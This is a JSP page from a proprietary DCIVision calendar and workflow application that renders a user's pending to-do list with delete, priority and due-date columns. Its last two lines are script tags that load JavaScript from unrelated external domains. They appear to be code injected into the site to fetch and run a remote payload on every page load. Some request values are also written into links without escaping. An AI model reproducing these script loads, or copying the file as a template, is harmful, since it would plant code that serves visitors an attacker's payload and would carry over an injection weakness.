<%
/*
 * @(#)ToDoListPending.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ToDoListPending.jsp

  This file is reflecting business logic to list the last ToDo.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.21.4.6 $
*/
%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>

<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listCalendarRecordForm" class="com.dcivision.calendar.web.ListCalendarRecordForm" scope="request"/>

<%
  String singleQuote = "'";
  String oldNavMode=(String)request.getAttribute("CALENDAR_SELECTED_NAV_MODE");
  String notFromCalendar = request.getParameter("notFromCalendar");
  String maxItem = SystemParameterFactory.getSystemParameter(
    SystemParameterConstant.CALENDAR_MAX_ITEM_TO_LIST_IN_TODO_LIST);
  int MAX_ITEM_TO_LIST_IN_TODO_LIST =Integer.parseInt(maxItem);
  if (notFromCalendar!=null) MAX_ITEM_TO_LIST_IN_TODO_LIST = MAX_ITEM_TO_LIST_IN_TODO_LIST - 2;

%>
<%
//request.setAttribute("navMode","LT");
%>
<table border="0" cellspacing='0' cellpadding='0' bgcolor="#666666" width="100%">
  <tr>
    <td>
      <table cellpadding='1' cellspacing='1' border="0" width="100%" bgcolor="#dddddd">
        <layout:sectionHeader name="calendar.columnheader.todo_list" mandatory="false" colspan="4"/>      
        <tr bgcolor='#eeeeee'>
          <td></td>
          <td align='center' class="bodyVerySmall"><bean:message key='calendar.columnheader.title'/></td>
          <td align='center' class="bodyVerySmall"><bean:message key='calendar.columnheader.priority'/></td>
          <td align='right'  class="bodyVerySmall"><bean:message key='calendar.columnheader.due_date'/>&nbsp;</td>
        </tr>
        <logic:iterate id="calendarRecordList" name="calendarRecord_toDoList" scope="request" length="<%=maxItem%>" indexId="listLoopCnt">
        <%
           CalendarRecord calendarRecord = (CalendarRecord)calendarRecordList;
        %>
        <tr>
          <td width="23">
          <logic:permission right='D'>
          <a onclick="if (!confirm('Confirm delete selected records?')){return false;}" href="<%=request.getContextPath()%>/calendar/ListCalendar.do?opMode=<%=GlobalConstant.OP_MODE_LIST_DELETE%>&basicSelectedID=<%=calendarRecord.getID()%>|<%=calendarRecord.getEventType()%>"><html:img src='IconDMSOpDelete.gif'  alt="Remove"/></a>
            <html:img src='IconDMSOpDeleteDisable.gif' /><%//Code Updaet By Jim.Zhou			2006/06/07		Bug	#5650%>
          </logic:permission>
          </td>
          <td width="" class='bodyVerySmall'>
                <%
                                         if (CalendarRecord.OBJECT_TYPE_WORKFLOW.equals(calendarRecord.getObjectType())) {
                                         Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
                                         WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, conn);
                                         WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);
                                         WorkflowProgress wfProgress = (WorkflowProgress)progressDAO.getObjectByID(calendarRecord.getObjectID());
                                         WorkflowStep workflowStep = (WorkflowStep)stepDAO.getObjectByID(wfProgress.getWorkflowStepID());

                                        %>
                                        <%if (WorkflowProgress.STATUS_PENDING.equals(wfProgress.getStatus()) || WorkflowProgress.STATUS_IN_PROGRESS.equals(wfProgress.getStatus())) {%>
                                         <a href='' onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowTask.do?navMode=E&SHOW_HEADER_FOOTER=N&trackID=<%=wfProgress.getTrackID().toString()%>&ID=<%=wfProgress.getID().toString()%>&workflowRecordID=<%=workflowStep.getWorkflowRecordID().toString()%>','DCIVisionMaintWorkflowTask',850, 600, 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no') "
                                         title='<%=TextUtility.replaceString(calendarRecord.getTitle(),singleQuote,"&#39")%>'>
                                       <%} else {%>
                                        <a href='' onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&trackID=<%=wfProgress.getTrackID().toString()%>&workflowStepID=<%=workflowStep.getID().toString()%>','DCIVisionProgressView',630, 300, 'scrollbars=yes')"
                                        title='<%=TextUtility.replaceString(calendarRecord.getTitle(),singleQuote,"&#39")%>'>
                                       <%}%>
                                         <%} else {%>
            <a href="<%=request.getContextPath()%>/calendar/MaintCalendar.do?navMode=<%=GlobalConstant.NAV_MODE_VIEW%>&ID=<%=calendarRecord.getID()%>&listName=eventList&oldNavMode=<%=oldNavMode%>"
            title='<%=TextUtility.replaceString(calendarRecord.getTitle(),singleQuote,"&#39")%>'>
               <%}%>
            <font  class='<%= sessionContainer.getUserRecordID().equals(calendarRecord.getCreatorID()) ?
              "calendar_own_event" : "calendar_others_event" %>'>
            <html:summarizeContent key="<%=calendarRecord.getTitle()%>" limitLength="20"/>
            </font>
            </a>
          </td>
          <td width="">
            <%
            String priority = "IconPriorityLow.gif";
            if (GlobalConstant.PRIORITY_HIGH.equals(calendarRecord.getPriority())) {
              priority = "IconPriorityHigh.gif";
            } else if (GlobalConstant.PRIORITY_MEDIUM.equals(calendarRecord.getPriority())) {
              priority = "IconPriorityMedium.gif";
            }
            %>
            <html:img src='<%=priority%>' /></td>
          <td width="85" align='right' class='bodyVerySmall'><font size='1'>
            <%=TextUtility.formatTimestampToDate(calendarRecord.getDatetime())%>
          </td>
        </tr>
        </logic:iterate>
        <!-- Activity Record
        <tr bgcolor="#FFFFFF">
           <td width="">
            <a href=""><html:img src='IconDMSOpDelete.gif' /></a>
           </td>
           <td width=""><html:img src='IconPriorityHigh.gif' />
           </td>
           <td width="" class='bodyVerySmall'>
              <a title='' href=''>
              <font class='activity_event'>

              </font>
              </a>
           </td>
          <td width="" align='right' class='bodyVerySmall'><font size='1'>
          </td>
       </tr>
       -->
      <%if (Utility.isEmpty((List)request.getAttribute("calendarRecord_toDoList"))) {%>
      <tr bgcolor="#FFFFFF">
        <td colspan='4' align='center'>
        <bean:message key='common.list.no_record_found' />
        </td>
      </tr>
      <%}%>
      <tr bgcolor="#FFFFFF">
          <td colspan="4">
           <table width="100%" border="0" cellpadding="0" cellspacing="0" >
           <tr>
           <td  align="left">
            <% if (((List)request.getAttribute("calendarRecord_toDoList")).size()>MAX_ITEM_TO_LIST_IN_TODO_LIST ){%>
             <b><a href='<%=request.getContextPath()%>/calendar/ListCalendar.do?navMode=LT' >
               <bean:message key='common.label.more'/>
             </a></b>
            <%}%>
          </td>
          </tr>
          <tr>
          <td align="right">
          <html:permissionButton label="common.label.new" right="I" link='<%="MaintCalendar.do?navMode=" + GlobalConstant.NAV_MODE_NEW + "&eventType=" + CalendarRecord.EVENT_TYPE_CALENDAR_TODO + "&navMode=N&listName=eventList&oldNavMode=" + oldNavMode%>'/>
          </td>
          </tr>
          </table></td>
      </tr>
  </table>
</td>
</tr>
</table>
<!-- </html:form> -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>